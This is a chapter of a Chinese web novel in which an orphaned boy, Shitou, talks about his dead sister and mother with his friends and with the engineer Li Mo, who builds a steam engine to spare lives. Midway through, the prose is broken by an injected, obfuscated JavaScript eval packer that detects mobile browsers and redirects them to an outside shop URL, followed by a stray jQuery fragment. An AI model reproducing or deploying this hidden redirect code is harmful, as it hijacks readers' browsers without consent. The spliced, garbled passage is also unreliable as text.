石头来将作监，已经三个月了。
三个月里，他学会了擦骨头，学会了蹲着看机器，学会了在夜里睡不着的时候不害怕。
但他还是不怎么说话。
不是不会说，是不想说。
狗子问他：“你咋不说话？”
石头想了想。
“没什么好说的。”他说。
狗子不懂。
但他觉得，石头和阿钝哥不一样，和阿箬姐也不一样。石头的眼睛里有东西，但那东西和别人不一样——不是冷，不是空，是一种很深的什么。
---
有一天，石头蹲在狗子旁边，看着那些骨头。
狗子擦得很慢，很仔细。那些骨头已经被擦得发亮，在阳光下像玉一样。
石头忽然开口。
“狗子。”
狗子转过头，看着他。
“嗯？”
石头指着那些骨头。
“你妹妹，长什么样？”
狗子愣了一下。
他低下头，看着那些骨头，看了很久。
“她……”他开口，但说不下去。
石头看着他。
“你忘了？”
狗子摇了摇头。
“没忘。”他说，“就是说不出来。”
石头沉默了一会儿。
“我妹妹长什么样，我也说不出来。”他说，“但我记得她的眼睛。”
狗子看着他。
石头指着自己的眼睛。
“这儿。”他说，“她看我的时候，眼睛里有光。”
狗子没说话。
他低下头，继续擦那些骨头。
擦着擦着，他忽然说：
“我妹妹也有光。”
石头点了点头。
两个人蹲在那儿，谁都没再说话。
但狗子擦骨头的时候，手稳了一点。
---
那天下午，石头去找阿钝。
阿钝正在教那些孩子看机器。他蹲在最前面，指着那些零件，一个一个地教。
“这个是飞轮。转起来的时候，要小心，不能碰。”
“这个是活塞。它一动，你们就能听见那个声音。”
“这个是汽缸。汽缸里面是热的，烫手，千万不能摸。”
那些孩子听着，眼睛亮亮的。
石头走过去，在他旁边蹲下。
阿钝转过头，看着他。
“石头？有事？”
石头想了想。
“阿钝哥。”他说。
阿钝愣了一下。
石头从来没叫过他“阿钝哥”。
“你叫我什么？”
石头看着他。
“阿钝哥。”
阿钝的脸红了。
“你……你叫我干啥？”
石头指着那台机器。
“这东西，”他说，“是谁造的？”
阿钝顺着他的手指看过去。
“我师父。”他说，“李默。”
石头点了点头。
他看着那台机器，看了很久。
“他会造这个，”他说，“是不是什么都会？”
阿钝想了想。
“差不多。”他说，“他什么都会。”
石头低下头。
“那他能让我妹妹活过来吗？”
阿钝愣住了。
他张了张嘴，不知道说什么。
石头看着他，眼睛里有一种光。
“能吗？”
阿钝沉默了很久。
然后他伸出手，在石头头上按了一下。
“石头。”他说。
“嗯。”
“人死了，就活不过来了。”
石头没说话。
阿钝继续说：
“但你活着。你活着，她就还在。”
石头看着他。
“在哪儿？”
阿钝指着自己的胸口。
“在这儿。”
石头看着他的胸口，看了很久。
然后他低下头。
“那我记住了。”他说。
---
那天晚上，石头去找李默。
李默正在屋里画图纸。听见敲门声，他抬起头。
“进来。”
石头推开门，走进来，站在他面前。
李默看着他。
“石头？有事？”
石头点了点头。
李默放下笔。
“说。”
石头想了想。
“李叔。”他说。
李默愣了一下。
“你叫我什么？”
石头看着他。
“李叔。”
李默没说话。
他想起石头刚来的时候。那时候石头一句话不说，谁都不理，晚上睡觉攥着狗子的衣角。
现在他叫他“李叔”。
“什么事？”他问。
石头看着他的眼睛。
“我能问你一件事吗？”
李默点了点头。
“问。”
石头沉默了一会儿。
“人死了，真的活不过来吗？”
李默看着他。
“活不过来。”他说。
石头低下头。
“那他们去哪儿了？”
李默想了想。
“不知道。”他说，“但有人记住他们，他们就在。”
石头抬起头。
“在哪儿？”
李默指着自己的胸口。
“在这儿。”
石头看着他的胸口，看了很久。
“你也记住人？”
李默点了点头。
“记住很多。”
石头问：“记住谁？”
李默想了想。
“张老头，李瘸子，周九，还有那个征地时挡路的老头。”
石头听着这些名字。
“他们都死了？”
“都死了。”
石头沉默了一会儿。
“你难受吗？”
李默看着他。
“难受。”他说。
石头点了点头。
“我娘死的时候，我难受。我妹妹死的时候，我也难受。”
他顿了顿。
“后来不难受了。”
李默没说话。
石头抬起头，看着他。
“不难受了，是不是就不记得了？”
李默摇了摇头。
“不是。”他说，“不难受了，是因为记在心里了。”
石头看着他。
“记在心里了，就不用天天难受了？”
李默想了想。
“是。”他说，“记在心里了，他们就在。他们在，你就不怕。”
石头低下头，看着自己的手。
那双手，曾经抱过他妹妹的尸体。那双手，曾经挖过坑，把他娘埋进去。
“李叔。”他说。
“嗯。”
“你造那个机器，是为了让人不死吗？”
李默愣了一下。
然后他摇了摇头。
“不是。”他说，“是为了让人少死。”
石头看着他。
“少死？”
李默指着窗外那台蒸汽机。
“它干活，人就能少干活。少干活，就能少累。少累，就能少死。”
他看着石头的眼睛。
“你听懂了吗？”
石头想了想。
“懂了。”他说，“它帮人活。”
李默点了点头。
“对。”
石头看着他。
“那我能学吗？”
李默看着他。
“你想学什么？”
石头想了想。
“学怎么帮人活。”他说，“学怎么让那些孩子不死。”
李默沉默了很久。
他看着石头，看着那双眼睛。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401628|200419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那双眼睛里，有光。那光和别的孩子不一样——不是从外面照进来的光，是从里面烧出来的光。
“石头。”他说。
“嗯。”
“你知道你刚才说的话，是什么意思吗？”
石头想了想。
“不知道。”他说，“但我想说。”
李默没说话。
他站起来，走到窗边，看着外面的月亮。
“石头。”他没回头。
“嗯。”
“你知道我为什么造这台机器吗？”
石头不知道。
李默看着月亮。
“因为，”他说，“我见过太多人死了。”
他顿了顿。
“我见过人油灯，见过童工埋在矿里，见过那个老头饿死在自己家里。”
他转过身，看着石头。
“我造这个，是因为我不想再看见。”
石头看着他。
“那你看见了吗？”
李默沉默了很久。
然后他说：
“看见了。”他说，“但少了。”
石头没说话。
他站起来，走到李默旁边。
两个人站在窗边，看着外面的月亮。
过了很久，石头忽然开口。
“李叔。”
“嗯。”
“我娘死的时候，我想过死。”
李默转过头，看着他。
石头的眼睛里有光。
“后来没死。”他说，“因为还有妹妹。”
他顿了顿。
“妹妹死了，我又想死。后来没死，是因为没力气。”
他的声音很平，平得像在说别人的事。
“现在有力气了。”他说，“但不想死了。”
李默看着他。
“为什么？”
石头想了想。
“因为，”他说，“狗子会难过。阿钝哥会难过。阿箬姐会难过。那些孩子也会难过。”
他抬起头，看着李默。
“我不想让他们难过。”
李默没说话。
他伸出手，在石头头上按了一下。
石头愣了一下。
他没躲。
远处传来打更的声音。
“咚——咚——咚——”
三更了。
风吹过来，带着春天的味道。
石头忽然问：
“李叔。”
“嗯。”
“我以后，能变成你那样吗？”
李默看着他。
“哪样？”
石头想了想。
“能让人少死那样。”
李默沉默了很久。
然后他说：
“能。”
石头看着他。
“慢慢长。”李默说，“长成了，就是。”
石头没说话。
但他笑了。
那是李默第二次看见他笑。
比第一次，亮了一点。
---
第二天早上，阿钝来浇树的时候，看见石头蹲在蒸汽机旁边。
他走过去，在他旁边蹲下。
“看什么？”
石头指着那个飞轮。
“看它转。”他说。
阿钝看着那个飞轮。
轮子在转，一下一下，很稳。
“好看吗？”他问。
石头想了想。
“好看。”他说，“它活着。”
阿钝愣了一下。
然后他笑了。
“是。”他说，“它活着。”
两个人蹲在那儿，看着那个飞轮转。
阳光照在他们身上，很暖。
远处，狗子还在擦那些骨头。
阿箬站在门口，看着他们。
李默站在院子里，也看着他们。
风吹过来，那棵小槐树的叶子沙沙响。
都还在。
活着。